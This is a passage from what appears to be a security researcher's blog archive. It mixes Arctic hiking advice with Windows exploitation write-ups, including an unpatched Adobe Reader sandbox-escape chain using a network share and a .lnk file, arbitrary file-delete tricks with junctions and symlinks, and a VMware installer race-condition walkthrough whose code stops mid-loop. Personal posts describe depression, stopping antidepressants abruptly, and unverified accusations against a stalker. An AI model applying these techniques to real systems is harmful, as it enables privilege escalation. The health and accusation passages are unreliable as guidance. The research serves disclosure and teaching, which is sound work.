Arctic adventure photos!
How to backpack in cold and miserable places
Navigation
I switched from maps to gps devices fairly quickly.
When I started to hike, I once got stuck on a ridge in Scotland for 3 days because of dense fog and not being able to use maps to navigate as there was no visible trail or visibility to see landmarks.
Ever since then I relied mostly on GPS devices.
During my six week hike in the Arctic I relied on a system of having a solar charger, a battery pack, a satellite phone and gps device.
This was easy in the Arctic as in spring and summer it is almost always light and the sun never sets.
This allowed me to charge my devices while sleeping.
My plan was that if there was any point of failure, my solar charger or gps device, I would fall back on using the gps functionality on my phone and make my way to safety. However, it would have probably been wise to atleast carry some maps and a compass.
I opted for this as that particular hike in the Arctic stretched 700km, and having detailed maps of that entire stretch would have meant a lot of extra weight and space.
In the Arctic I used the garmin explorer plus (Satellite device + gps). And a solar charger from Goal Zero (I have found these to be very good)
Anyway.. I am pretty sure a lot of more hardcore folks would scold my over reliance on technology.. but it works for me and as long as one point of failure doesn't knock out my ability to navigate it is worth the risk for me.
Shelter
A good 4 season tent is a must. I have two 4 season tents from Hilleberg. The Akto and Nammatj 2. The Nammatj 2 came to good use hiking off-season (fall and winter) in Scotland. With wind speeds of sometimes over 100 km/h in exposed terrain.
I would also carry a sewing kit with repair rope used for repairing sails (which is pretty strong!). Heavy duty stakes and extra guy line rope if there's a possibility of severe weather.
Having reliable shelter is very important when you're not hiking in Summer, or when hiking in extreme environments.
Main equipment |
Waterproof storage bags (sea to summit or whatever) |
Backpack + rain cover (I prefer 100L backpack, so nothing is hanging outside if rainy) |
Tent |
Sleeping mat |
Sleeping bag |
Safety |
Sat phone |
GPS |
Bear spray + bear sack for food storage |
Basic first aid (usually I only bring blister packs. They can also be used to cover up wounds, anything more severe usually requires evac anyway) |
Headlamp |
(CHECK CONDITIONS IF CRAMPONS/ICEAXE IS NEEDED) |
Solar charger and/or battery pack |
Repair kit and some cord |
Walking poles |
Glacier glasses / Snow goggles (depending on conditions) |
Cooking and stuff |
Stove + stove fuel + windshield for stove |
Cooking pot |
Spoon |
Sugary stuff to turn water into sports drink |
Freeze dried food! (or whatever) |
Water bottle and water bag for storing clean water when camping |
Water filter (probably not needed, but never know) |
Clothing |
Hiking boots |
socks |
1 softshell pant |
1 hardshell pant (for rain) |
2 base layer shirts |
1 mid layer fleece |
1 insulation layer (i.e down jacket) |
1 rain jacket |
underwear |
Something to keep head warm (balaclava in very cold and windy weather) |
thin gloves (if gets chilly/windy) |
big gloves (if very cold weather to pull over liner gloves) |
Snow/Mud Gaithers |
Other stuff |
Camera to be famous on twitter |
Tooth paste, tooth brush and a brick of soap used to wash clothes |
Toilet Paper |
Using filepickers to escape sandboxes
Because I am feeling depressed as fuck, I decided to do another write-up about an un-patched bug (feeling sorry for myself and being sad gets boring after a while).
I really did not get anything for this bug, and I know I'm probably forfeiting an acknowledgement too right now. But I wasted alot of time on this bug, and nobody but me should be able to decide what to do with it. People who criticize this type of behavior I find frankly annoying. I used to be one of those self-righteous types, but I'm also pretty annoying, so perhaps there is a correlation.
Adobe Reader
After finding this lame bug (CVE-2018-4872 ): https://sandboxescaper.blogspot.com/2018/01/adobe-reader-escape-or-how-to-steal.html I started thinking about other ways I could escape the sandbox.
To be honest, the Adobe Reader sandbox is pretty tough. Microsoft's sandboxes are way easier, because you get access to a ton of COM, RPC stuff and things like that.
Things I could do on the filesystem were really limited, and I like my filesystem trickery.
Ofcourse, being out of inspiration, and because I'm dumb as hell and can't come up with anything creative myself I went looking at Forshaw's work.
I saw that he did some work using network shares.
Instead of feeding a local filepath into a broker function (broker functions run outside the sandbox) we can use a filepath on an anonymous network share. This basically gives us an adhoc filesystem where we can use junctions and all the fun stuff that we by default do not have access to in the reader sandbox. My thought process was that I could probably use some symlinks or junctions to trick a broker function and bypass a check somewhere.
I tried a bunch of things, and while I got alot of interesting results, I did not get my lucky break.
Again, because I'm stupid, I decided to steal a trick from vault7 (https://wikileaks.org/ciav7p1/cms/page_13763489.html).
If you create a folder with the name: f.{0AFACED1-E828-11D1-9187-B532F1E9575D}
and then put a .lnk file in it, it basically becomes a really funny junction that confuses the hell out of code.
The bug
I'm going to explain the full attack chain.
First we create a folder called f.{0AFACED1-E828-11D1-9187-B532F1E9575D} and we put it on an anonymous network share (this can totally be a network share on the internet that is attacker controlled, not just intranet). Inside the folder we put a .lnk file with the following target:
C:\Users\%username%\AppData\Roaming\Adobe\Acrobat\DC\a.htm (use %username% and not the actual username).
The polar bear method
Mandatory book: Secure Coding in C and C++
Preface
I have been a bug hunter since 2015. You can see my CVEs here: http://sandboxescaper.blogspot.com/p/disclosures_8.html
A large majority of those bugs have been logic bugs. I started my career as an high school drop-out with nearly no coding experience. Back in 2015 I was heavily inspired by the work James Forshaw did. He exposed a previously mostly untouched gold mine of logic bugs. I quickly figured out how to find these logic bugs despite my limited coding and reversing experience. I continued to do this until I joined Microsoft. However, in retrospect, despite having had success in finding bugs, my technical skills quickly plateaued and I wasn't learning anything new or improving my skills.
So now I will introduce to you, the correct way to lay a solid foundation to become a bug hunter.
The Polar Bear method
Disclosed bugs found using this method.
This method is a huge departure from what I used to do before.
Now I just read source code and use windbg.
-CVE-2021-33772: Windows TCP/IP remote DoS
This is a remote DoS. Won't go into detail
-CVE-2021-34511: Windows installer LPE
This is an UaF in the system service (first exploitable mem corruption bug in msi in its history I believe discounting one from 2000s that didn't cross priv boundaries)
-CVE-2021-28479: Windows CSC Service Information Disclosure
This is a big stack memory info leak
To add more credibility to my method, watch for Januaries patch tuesday as the majority of my past year's work will get patched then. And those bugs are also by far more severe then anything I've ever found.
Finding your target
Variant hunting is an easy way to find bug. And often the safer option.
However, I would strongly recommend exploring new components.
You can find information about components on the msdn pages or books such as windows internals.
There's a lot of areas with no history of CVEs. This could be an indicator that nobody has really looked at them.
A target is usually defined as something that either crosses privilege or device boundaries (or both!).
Finding an entry point in your target
A little background:
Going forward I will be using network protocols as an example. The majority of my work in the last year has been in network protocols (you will see in January's patch tuesday).
About a year ago, one of my bosses told me about these crazy tcpip bugs in the msrc tracker.
I got curious. Until that moment my world was limited to local bugs. Sending bytes and pwning a device remotely, WHAT THE HELL? I couldn't believe this type of bug existed. I was fascinated by it.
I spent atleast one or two months taking these PoCs apart, learning scapy to construct packets and reading much of the code in tcpip.sys.
Doing this was vital, because it taught me about bug patterns that can occur in network facing attack surfaces.
I have never talked to the person who found all these doomsday tcpip bugs, they work at Microsoft and I believe their twitter handle is: @piazzt .. their PoCs opened up a whole new world for me, so I can't in good conscience write this blogpost without giving credits there.
Getting started:
Unless you can read assembly or decompiler output just as easily as actual code, start with open source.
Seriously. Don't be cocky. Find an open source project, and build a debug build so you have pdb files.
Like, find some crappy open source ftp server or something,
Next you download windbg next (windows store). In the settings, point to pdb and source files.
What you want is the ability to step through source code. You have to be able to step through source code, otherwise you are not doing the polar bear method. No sane person steps through assembly instructions unless you are an elite hacker with 50 years of experience, and in that case this blog post is not aimed at you.
Generate legitimate traffic:
Ideally you want two seperate VMs. One ubuntu VM (or whatever) for running wireshark and one Windows VM with the target you want to exploit.
So you're running an ftp server on windows. While Wireshark is running, logon to the ftp server from your ubuntu VM.
The reason we do this, is that you may see keywords that you can use to search the source code and set an initial breakpoint in Windbg (on the windows VM).
Getting a breakpoint to hit:
Just set a bunch of breakpoints in windbg using functions that you suspect are used in that initial packet parsing.
One you get a hit. View the callstack. Keep going up the callstack until you find the mother of all functions. With that I mean, the function where all of the packet parsing starts.
This is your main goal! Get a breakpoint at the start of packet parsing!!!!
Exploration:
You can capture legitimate traffic. So you know atleast one valid way to structure a packet. Is the protocol public? Then there's probably and RFC out there which you can use. RFCs are awesome.
The first step is to recreate the packet that triggers your breakpoint in a tool like scapy.
In scapy you can just add raw bytes to a variable and send it to your target, it should be the same bytes you see in wireshark (scapy also supports protocols, but for more obscure protocols I just write my entire packets in bytes). Scapy is not hard to learn. And you can find many examples. I've decided against a complete step-by-step guide this time, because learning to figure out things yourself is important too and will make this write-up even more convoluted. Aside from that, I'm always willing to answer questions if I know the answer.
Take note of the initial code path of your legitimate packet. When I refer to code path. I mean, your initial packet parsing function until it returns again.
Your entire packet is user controlled. Find out what you can 'taint' using this packet.
Are things from your packet being copied into buffers? How are size calculations done? Is there any indexing you control? Any pointer math you can influence? These are the first things I will look at. At this point, I won't worry too much yet about object lifetime bugs, to find those you often need a more complete picture first.
Once you have exhausted your first codepath. Go down the next codepath.
There will be days when you just don't want to stare at code in a debugger all day.
These will be your FUN days!
You come up with craaaaazy ideas. Like, how can I come up with a worst case complexity scenario?
Can I make it consume resources without them being released? Or just blindly try out potential UaF cases.
Remember that UaF in the MSI installer?
I found that bug during a day like this.
There were 3 API calls, one that created something, one that used it, and one that deleted it.
In one thread I called the functions that created and deleted it.
In another thread I called the function that used it asynchronously.
There was no locking on the internal object being used and I had just found a UaF without much effort!
Many weeks later
Once you have explored most of the code paths. You can begin thinking about object lifetime bugs. One important thing you will need to check first is see if packets are process multithreaded or put in a queue. I hope by god nobody doesn't use a queue for packets that operate on the same internal objects (or use perfect locking).
You can either audit the slow methodical way. Or just use intuition.. like, don't see locking? Just quickly create a PoC. At this point you can also start coming up to create more complex testcases. Hit codepaths that you're not supposed to be hitting in your current state. Try to free an object, but instead of making it return, make it continue processing until it either frees again or uses it. There's a lot of weird things that can happen. Sometimes you can directly control lifetime of internal object using options in your packet. Just be creative, have fun, shit doesn't have to be boring.
Closing word and fuzzing
People at Microsoft are elite fuzzers and they use very cool technology. They will always be better and faster at bug hunting then me.
However, I do see merit in becoming good at spotting bug by reading code and using a debugger. You get a very intimate understanding of both bugs and components. Personally I also just enjoy this more then writing fuzzers. It's important to do things you enjoy. Doing things you don't enjoy is for adults and shit.
When assembly and debugger?
Once you have found enough bugs using source code and debugger, you can try hardcore mode. Just be careful because if you die in hardcore mode, it's game over.
Good luck.
tag:blogger.com,1999:blog-4941201770868507617.post-1006866465213835301
Logic bugs
Logic bugs are great. A lot of logic bug based exploits are version agnostic. And they don't bluescreen your computer when they fail.
After that task scheduler exploit drop, so many people wanted to buy similar exploits, while on social media and that side of infosec regarded my work as a Forshaw rip-off or inferior to kernel exploits. System to kernel isn't even a boundary so I don't see why that should matter.
It was surreal. People ready to throw down huge sums of money and meanwhile failing job interview after job interview. I'm glad I ended up where I am now, because in retrospect, my current managers are probably the only people in this world I could have tolerated as bosses.
I don't know. Having found plenty of memory corruption bugs now. This industry is so full of sh*t. I never sold a bug because I just really just wanted a job, get out of my country and have colleagues to work with.. and maybe back then, I also just wanted to do the 'right' thing. But as you grow older, you learn there is no 'right' thing. Perhaps the only 'right' thing is the one best for your mental health and quality of life.
In the end, everyone is just living for their own interests. Selfless people rarely survive in this world. They get devoured by it. Maybe the manager who hired me being the exception. My loyalty is only to those who took a risk with me, not the corporate world. I couldn't care less about that. Once that loyalty ends, I'm not making the same mistakes again.
tag:blogger.com,1999:blog-4941201770868507617.post-1797453735111356083
You know who first started finding all those bugs in windows installer and windows error reporting? That was me, not Forshaw. Aside from that, I did plenty of original work with my earlier sandbox escapes. My edge browser sandbox escape being a good example. Yet I was always downplayed to being some lame person just cloning Forshaw. I know in the end, everything fell into place.. but those 5 years, of social isolation, going hiking for weeks alone, to escape the pain, all the bullshit with this industry. I was mentally so much more stable before I got into bug hunting. 5 years is a long time. I just feel burned out ever since I've joined Microsoft and I can't get rid of that feeling anymore. Nothing is worth sacrificing your mental health over.
tag:blogger.com,1999:blog-4941201770868507617.post-1515864249951874662
Someone hire or mentor @klinix5
If you knew the things I knew you would understand. Don't turn this person into a burned out mess like me. Because unlike me, that would be a true waste of potential and talent.
That's al I have left to say anymore. I don't do social media anymore or talk to people in general.
tag:blogger.com,1999:blog-4941201770868507617.post-3121827776618950078
Sometimes I worry my anger is irrational. And im just fighting imagined demons in my head because I share a lot of symptoms with borderline personality disorder. But I can make a long list of shitty industry experiences that eventually resulted in me just dropping bugs. So no, I dont think im just crazy even if thats what people maybe think.
Transgender, harassment and anonimity
I'm now at one month post bottom surgery. I've met a lot of awesome trans women here in Thailand. All of them have awesome and fullfilled lifes. Those obsessive haters are so wrong about everything.
I'll go back home a mentally much stronger person. These haters can't be more wrong. They just scream jealousy. All the trans folks I've met are beautiful on the inside and outside. Perhaps that's what frightens those who literally spent years of their lifes harassing us.
It's funny how this stalker tries to get into my head (see my recent tweets for context: https://twitter.com/Essb33/status/1460149107083808772), saying I won't have a legacy. Dude, I'm here living my life to the fullest. I make the world a more secure place. I find massive security vulnerabilities affecting many millions of machine. That's my legacy. This stalker's legacy on the other hand is nothing but misery, sadism and hatred.
Being faced with online harassment by a stalker for close to 4 years, I do wish people on the internet could be held accountable.
Its kind of insane how this stalker always sends me these tailored e-mails when he detects I'm struggling with my mental health, with the clear purpose of pushing me over te edge into comitting suicide. Although, those e-mails never get to me.. this kind of obsessive predatory behavior, someone who is literally trying to harm someone, even indirectly is extremely worrying. When does this guy graduate from being a psychopath on the internet to being one in the real world? I worry for folks from my community. I once got an IP capture on this guy, when he used guerillamail, which actually discloses the sender's IP in the header. It showed that he was from eastern Canada (assuming no vpn), and his torrent history showed he likes barely legal porn (which says a lot about his pysche).. so if ever trans people go missing in eastern Canada.. high change of it being this guy. I'm not even kidding. 4 years of stalking me, reading everything I write and trying to push me over the edge.
Anonimity is a double edged blade. It really is. But these experiences have definitely changed my view. Actions on the internet, can have real world consequences. Perhaps, being at Microsoft, I will be in a position one day to make the internet a safer place.. not just in terms of security flaws.
Anyway. Just had to write this one last blog post. I won't be active online anymore. I've got everything I ever wanted already. Friends and an awesome career. If haters want to get to me, they'll have to come face me in the real world. But I'm a polar bear so I'm not scared.
tag:blogger.com,1999:blog-4941201770868507617.post-6738023773898968065
Once you go crazy. You end up at Microsoft.
Microsoft is where all the crazy people go, because there is no other place to go.
Put polar bear stickers all over the office. Ask colleagues if they want to buy 0days. Or walk the hallways trying to find where your desk is hiding. Those damned desks.
Maybe once or twice a year, you'll have clarity again. Find a few more bugs.
Microsoft is the only thing thats stable in my life. I can rave like a lunatic. Ask Satya to fire me. I'm still here. Like that friend whose always there despite your insane attempts to push them away.
I dread the day this comes to an end. I'm not like the sane people, who would simply find a new job. Once that last remnant of stability is gone. There will only be madness.
I wish I had been more protective of my mental health. I wish I had never dropped 0days. I wish others other didnt go down that self destructive path. Fame or infamy is bullshit. Who cares. A few good friends. Thats all someone needs.
tag:blogger.com,1999:blog-4941201770868507617.post-6054034695678388831
When the polar bear dresses like (wo)men.
And wanders the human world.
It is not curiousity.
For one day, when you are all a lost cause, ice will engulf humanities flaws, into a frozen landscape. And there will be no more pain or suffering.
Static Analysis 101
(Click on images to enlarge)
Github link to trigger code shown in write-up:
https://github.com/SandboxEscaper/polarbears/blob/master/BearExample.cpp
Disclaimer: This blog-post has nothing to do with my employer. And to the more technically skilled reader this blogpost will be really lame. I'm new to this, and even at the company where I work, I don't know anyone who does security that I can ask for advice, I'm just trying to learn all this by myself from books and youtube videos.. just as I did before getting a real job.
Static code analysis 101
I wanted to write this blogpost after I had a bug patched that I found by static analysis, but this will take a long time and I was bored. As I can't copy paste source code into my blog without getting fired, it is hard to have a really indepth discussion. I would much prefer to share a bunch of source code snippets and show you how I would approach static analysis on them. Having the work with decompiler output sucks (still better then ASM!), and I gave up half-way writing this blogpost, so apologies if it seems kind of unstructured.
Lets say we want to find bugs in windows (same would apply to other software).
We have to find an entrypoint. You can't just start reversing code ad random (you can, but don't).For local privilege escalation, think of areas that cross privilege boundaries (user->kernel, rpc/com)
For remote bugs, think of areas that cross device boundaries (network protocols.. rdp, smb, etc)
For purpose of demonstration, lets pick COM. (I didn't just want to write about static analysis as there are books that have served this purpose way better, so I figured I might as well just show you how to get started reversing COM and applying static analysis on that. Apologies if this makes the write-up seem convoluted)
Using available tooling to enumerate the attack surface
(Scroll to the next chapter if already familiar with OleView)
With drivers, you would go hunting IOCTL codes and whatnot in a dissassembler. For RPC you would use tooling like RPCview or similar. For COM we have a great tool by James Forshaw:
https://github.com/tyranid/oleviewdotnet/releases
After downloading make sure you set-up the path of dbghelp.dll (part of the windows sdk) in file->settings (make sure to run OleView as Admin btw):
Lets focus on system services, select 'Local Services' from the Registry drop-down menu:
I'm just randomly going to pick a COM interface to reverse, scroll to the bottom and expand 'Xbox Live Game Save'.
Right click '(5B3E6773-3A99-4A3D-8096-7765DD11785C) ' and select 'Create Instance':
Select the 'IXblGameSaveProviderEnumerator' interface. Then at the bottom select operations->Marshal->View Properties
Press view:
Double click on any of the methods listed in the next tab.
Now we can see the interface methods (with symbolic names):
At this point you would decide if this interface is worth investigating or not.
There's no complex parameters being used in any of the methods. If I was bug hunting I would skip this one because I know Microsoft does a lot of fuzz testing and would prefer to prioritize other functions first. Especially now that race conditions are out of scope for COM, which would be the only bug class fuzz testing might not catch (I think).
Going back we can see where this server is implemented (hover over 'Xbox Live Game Save'):
Static code analysis
I will use Ghidra for this write-up, normally I would use IDA pro, which supports source code and windbg, but if you don't have source code, the decompiler in Ghidra is pretty nice. Load up XblGameSave.dll.
I would not recommend trying to make sense of a function by looking at raw asm. Nearly all the researchers finding complex bugs are using decompilers.
If decompiler output is still too difficult, I would recommend starting with an open source project. If open source is still too difficult I would recommend spending some time learning coding so you can be better at reading it.
Search for the name of our first method 'GetItems' (which we found earlier in OleView), it's pretty easy to find this one with symbols.
At this point you could go ahead and write a PoC to trigger this code, then trace input in a debugger. But it's better to first read the code 'statically' (hence static code analysis) and see if there could be any potential bugs.
The GetItems function as seen in OleView:
HRESULT GetItems(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* range: 0,50 */ int p1, /* Stack Offset: 24 */ [Out] /* C:(FC_TOP_LEVEL_CONFORMANCE)(16)(FC_ZERO)(FC_ULONG)(Early, Range) */ struct Struct_0[] p2, /* Stack Offset: 32 */ [Out] int* p3);
We see that the first two parameters have [In] infront of them and the last two [Out]. This means the first two parameters provide a value and the last two return a value. You want to focus on the [In] parameters first, and trace them.
while( true ) {
if (((uint)((lVar1 - lVar2) / 0x38) <= param_1) || (param_2 <= uVar7)) {
*param_4 = uVar7;
__security_check_cookie(local_48 ^ (ulonglong)auStack296);
return extraout_EAX;
}
Then inside the loop we see:
lVar6 = (ulonglong)param_1 * 0x38;
pXVar8 = param_3 + uVar7;
iVar4 = WindowsDuplicateString(*(undefined8 *)(lVar6 + *(longlong *)&this->_results),pXVar8);
if (iVar4 < 0) break;
_results is an array. The size of each element is 0x38:
lVar6 = (ulonglong)param_1 * 0x38.
So it's going to multiple the size of an element with param_1.
Meaning it's doing array indexing using the first parameter. As you can see here:
lVar6 + *(longlong *)&this->_results
It's just moving a pointer to match the index of the array. This is the funny thing about decompiler output, in a way it does make sense, but you need some experience recognizing what this translates to in code written by hoomans.
When dealing with user controlled indexing, it's good to make sure the bound checks are done well (which is done in the if-statement mentioned earlier).
Also the data type being used is important. If they didn't use UINT but regular int, you could bypass checks overflowing into a negative number and even cause negative array indexing. You don't want this to happen. Microsoft has good coding practices though, but a lot of novices just use signed datatypes everywhere.
Not having source code and proper symbolic names everywhere can be a pain, but when in doubt or unable to make sense of something, just run it through a debugger. Switch from static analysis to dynamic analysis. I would use static analysis to find code that looks suspicious and requires further investigation.
Once we ruled out integer related bugs, we can focus on the [Out] parameters.
This function will basically return an array containing elements copied from the _result array.
At this point we need to figure out other functions that could manipulate this array.
This should be enough practical information to get started.
Summary
-Find an entrypoint. Such as COM methods as described above.
-Load your targeted code in a disassembler. And start tracing input you can control.
Based on the type of input there are different things you need to look out for.
Here is a really short summary:
1. Buffers
Are buffer being copied into a static array? This can be a problem if you can supply a larger buffer then the size of the array.
Is there any length calculating being done on the buffer? Make sure the buffer size will not overflow the return value of this length calculation. With modern day computers you can easily construct buffers that take up a couple of gigs.
There are many issue that can arise with buffers, but in general COM marshalling/unmarshalling will prevent a lot of them by design.
2. Integers
Are signed datatypes being used when they should be unsigned? As mentioned earlier, you don't want negative values bypassing checks or resulting in negative array indexing. Also if user supplied integers, in anyway can affect array indexing, this can potentially result in out of bound bugs if proper bound checking is not done.
Again, I recommend reading up on integer bugs, as there is a lot of subtle things that can happen with them, not just integer overflowing.
3. Objects
Some COM interfaces will have methods that take com interfaces as parameter. This means you can make your own implementation of a com interface and a remote server will call into them. You can also have methods that return interface pointers, turning that interface's methods into another part of your attack surface. Objects in general add so much more complexity, but you need to know what you're doing and it may require a lot of reversing.
4. Complex datatypes
COM marshalling works well on simple datatypes, but less so on complex ones. There is less validation on what the user supplies and it will assume the COM server does all the validating. This can lead to a lot of bug types, including type confusion.
5. Race conditions
One of the more difficult bugs to find, even if they are really common. This one does not rely on the type of user input as much. But you will need to look at internal objects and data that gets accessed and see if you can mess with them in another thread, i.e forcing a free on the object.
Either way, on the note of object life time bugs, they don't always come in the shape of race conditions. If you have a bunch of methods that do things with internal objects inside the server process, it's worth investigating.
6. Info leaks
Without doubt the most common bug, but not all info leaks are created equal and you may not get a CVE for them (if you care about that). Info leaks can happen by out of bound reads, but these are less common as they can be found by fuzzing, more common is returning uninitialized memory, as these will not trigger an access violation and make them near impossible to find by anything but static analysis.
7. Logic bugs
See previous write-ups for this. But be aware that logic bugs can come in many forms, not just filesystem related. You need to force yourself to think out of the box to abuse program logic.
-Static analysis is very time intensive. I really recommend when going after windows code to assume it has been heavily fuzzed. So search for complexity and those cases that can't be found by fuzzing.
tag:blogger.com,1999:blog-4941201770868507617.post-1905568730381578537
Quit my anti depressants a month ago.
They always make me so nausea, and I just felt sick after surgery while on painkillers. So I just quit them cold turkey.
I don't think my brain is broken. I think the world is broken. What's the point in taking pills just to numb all my feelings?
I still remember, many months ago, this guy, putting trash into a homeless person's begging cup. I feel like this sadistic act, epitomizes human society. And it just makes me feel so fucking sick.
People who go through life with a smile on their face, they are just blind, living in their own fantasy world.
Hunting for filesystem bugs
I. Introduction
Filesystem bugs have been fairly rare, until recently.
This is mainly because prior to James Forshaw's work we didn't have the tools to exploit these types of race conditions in the filesystem.
Forshaw has documented many ways to exploit filesystem bugs.
Well known examples are:
1. Directory junctions
2. Hardlinks
3. Object manager symlinks
There's a couple more, for a full overview I suggest reading all the blogposts by Forshaw and his published PoCs.
This video is particularly useful and I recommend watching it:
https://www.youtube.com/watch?v=0KO3oGXtMNo
II. Finding filesystem bugs
This is just my way of finding bugs, and there is definitely better and more hardcore ways (i.e doing actual reverse engineering of attack surface where these bugs occur).
I mainly use one tool, process monitor:
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
Process monitor records all of the filesystem operations that occur in the filesystem (in usermode.. it doesn't work as well from kernel mode.. sometimes handles get opened through the system process.. but I think for tracking filesystem race conditions in the kernel it would be better to write your own hooks or something).
My two strategies:
1. Look at existing PoCs. If there is one bug in a piece of code, that is usually a good indicator that it's old code and that it's going to be prone to more bugs. Sometimes you can find new bugs or bypass a patch by just messing around with a PoC. One thing that I often do is to try and add more "complexity".
Examples of "adding more complexity" are deleting files and folder, because that might trigger a different code path when files and folders suddenly don't exist. Other things I do is modifying the ACL, such that the user doesn't have write access to it.. this could result in the higher privileged process to drop impersonation (I actually found bugs like this).
2. Apply a bunch of filters to process monitor and just go exploring. The trick here is to come up with ways to trigger code that people havn't looked at before... so you just start doing crazy stuff. Things I would try in the past is running all the tasks in the task scheduler, starting services, etc. Just do stuff! Try to think of obscure areas where people havn't looked before.. this can be hard, but just google things, look at msdn pages (i.e https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list).. there is a looooot of stuff people havn't looked at yet. Also, you can find a lot of code samples in the windows sdk, just start running them and messing around with it!
Filters that I commonly use in process monitor when "exploring":
-Integrity is "Medium" then exclude (unless looking for appcontainer escapes)
-Intergrity is "Low" then exclude
-Detail contains "Impersonating: DESKTOP-L7TMINM\test" then exclude (modify the user to match yours)
-Path contains "c:\windows" then exclude (but you might want to include c:\windows\temp as it's user-writeable)
-Path contains "c:\program files" then exclude
These you will want to discard most of the time because they won't result in a bug.
Next I'll often start by including this:
-Operation is "CreateFile" then include
You can further filter things down by filtering out when it opens a handle for things like "Read control" etc. Once you see an interesting file handle being opened you deselect the "CreateFile" include-filter and look if anything interesting is done with the filehandle.
III. Types of bugs
I roughly explained how to set-up filters in procmon, but now you need to know what to look for.
Most of this comes by experience, so this is really the hardest part to master.
Some vulnerable cases are this (excluding hardlinks as those are mitigated):
Arbitrary read:
Contents of a file from a user write-able location are read and then written to another file.
You can exploit this by making it read an arbitrary file using junctions. So when looking at procmon, file reads can be useful when used to copy contents to a file and there is no impersonation on the read.
Arbitrary delete:
Tip: One way to quickly find deletes is by adding the filter "detail contains "delete: true" then include".
If a file is being deleted in a user writeable folder without impersonation then you can redirect this delete to arbitrary files using junctions.
There is a small detail here. In the past you would need to have either control over the filename of the file being deleted or have a case where it just removes all the files in a folder.
However, these guys came up with a way to delete specific files without having control over the filename: https://www.cyberark.com/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease/
So basically if you have a bug where it will delete c:\blah\bear.jpg, because even if you turn c:\blah into a junction pointing to c:\windows\system32 it will just try to delete c:\windows\system32\bear.jpg. What the guys from the article above discovered is that if you turn c:\blah into a junction to the object manager so that it becomes c:\blah -> \rpc control and then plant a symlink in \rpc control named "bear.jpg" pointing to for example c:\windows\system32\drivers\pci.sys you can have it delete arbitrary files. This trick can also be used with arbitrary writes/creates where you don't control the name. I think this will be patched soon.. as this is pretty bad.. I spent a lot of time looking at procmon and I can promise you that this trick can be used to abuse a shitload of bugs.
Arbitrary file writes/create:
If you control the location of a file create and/or write, you can turn this into a junction and have it create a file else where. Or.. write to a different file.
Things to consider here are:
-Is there some way to control the contents being written?
-Can I perhaps have partial control over the contents being written?
You need atleast some control over the contents being written. Just the ability to create a file in an arbitrary directory isn't going to be useful, unless that file is created with a permissive ACL or you can control its contents somehow. (You might want to reverse the function that does the filewrite, as it could reveal more about where it fetches the contents being written)
Arbitrary directory creation:
If a directory is created in a user-writeable location, it would be interesting to see if the ACL is written too. You may be able to create a directory in an arbitrary location and then have it given a permissive ACL that lets the user write to it.
IV. Conclusion
This bug type is super easy to find and exploit. The difficult thing is knowing where to look. But knowing where to look mostly comes down to persistence and just trying things until you find something.
This blogpost was written in a rush and I might change things later lol.
Chasing polar bears: part one
Edit: sample bug now patched: https://www.vmware.com/security/advisories/VMSA-2020-0002.html
(note: click on images to view larger version)
Index
I. Using Procmon
II. Writing a PoC
III. Directory junctions
I. Using Process Monitor
a. Introduction
This will be your main tool for tracking down filesystem race conditions.
Process Monitor is a tool to record all file operations that occur in the filesystem, thus making it easy to find possible timing windows that can be exploited.
b. Finding a bug
A timing window is nothing more then a duration of time where-in a bug can be exploited.
A lot of filesystem bugs are based on exploiting timing windows.. a.k.a winning a race (condition).
A few years ago I saw the following folder:
c:\windows\installer (hidden by default)
For whatever reason, some of the .msi files in there will auto-elevate when you run them. They do not prompt, even on non-admin.
This means that we can run installer files, doing file operations at higher privileges, no prompts required.
The limitation being that this only applies to .msi files inside of c:\windows\installer (which are already installed programs and features).
To reproduce this bug, you will need a windows 10 vm with vmware tools installed.
You can find many other bugs in other third-party .msi files and perhaps even Microsoft ones (assuming they are already installed by an admin and are under c:\windows\installer)
Go to c:\windows\installer and if vmware tools is installed, locate the vmware tools .msi file (from an non-admin account), mine is about 44mb big, just sort by size, you can confirm you got the right one by right clicking, selecting "Properties" and going into the "Details" tab. The names of the .msi files are randomized, so it won't be the same on your system:
Launch process monitor and apply the following filters (press control + L):
-We only want to see installer related processes.
-We also only want the installer process running at system, discard any running at medium.
-We also only want CreateFile operations, otherwise there will be way to much clutter that doesn't really matter.
Once we find an interesting file handle being opened we can disable this filter again to see what happens with it.
There is one more thing we need to do, if you double click on a CreateFile operation in Process Monitor, sometimes you will see that it is "impersonating":
This means that it will impersonate someone else, in this case the local user, so this CreateFile call will only have the same access rights that the user has (because it pretends to be the user!).
This isn't useful for us, so we discard those too, but make sure to only discard when it impersonates the user, in a few cases it might actually impersonate itself (nt authority/system):
Just type "whoami" in a command prompt to see your computer name and user.
Hotkeys for Process Monitor:
-Start/stop recording: control + E
-Clear the screen: control + X
Start recording and enter the following command (where 368c0.msi is the vmware tools .msi file, different name on your system):
This is telling the installer to "repair" the vmware tools installation.
Make sure to press "no" when it asks for a reboot at the end.
After it completes we will see that it does a lot of file operations in c:\ProgramData.
The ProgramData folder is interesting, because sometimes folders might be write-able by a user.
This one looks interesting for example:
C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat
If we go to this folder and check the permissions:
We see it being given write permissions to non-admin users.
We can confirm this by creating a file in the scripts folder:
It works!
However we cannot modify any of the existing files, which is what we are really after.
These can only be changed by an admin user.
So lets dig deeper.
Add a filter for C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat:
Resulting in:
Looking at this, at the bottom, we see "NAME NOT FOUND" twice, and right before that a handle being opened with delete permission.
If we remove the "Operation is CreateFile" filter we can see more details:
It is moving the file somewhere else (which is what SetRenameInformation does)!
So for a short time window we can actually drop a file there with the same name, but we have to do it before it gets created again.
Lets write a PoC for this and see what happens!
II. Writing a PoC
That is why it is called a timing window, it is literally a window in time!
We could use oplocks to determine our timing window, but I think the much easier route would be spamming CreateFile until it succeeds and creates a file right after the original one is deleted.
We can also increase the thread priority to speed everything up and make sure we hit our timing window.
However, when increasing thread priority, make sure you are running more then one cpu.. as it might freeze your VM otherwise.
Lets try something like this:
HANDLE thisthread = GetCurrentThread();
SetThreadPriority(thisthread, THREAD_PRIORITY_TIME_CRITICAL);
HANDLE testhandle = NULL;
do {
CloseHandle(testhandle);
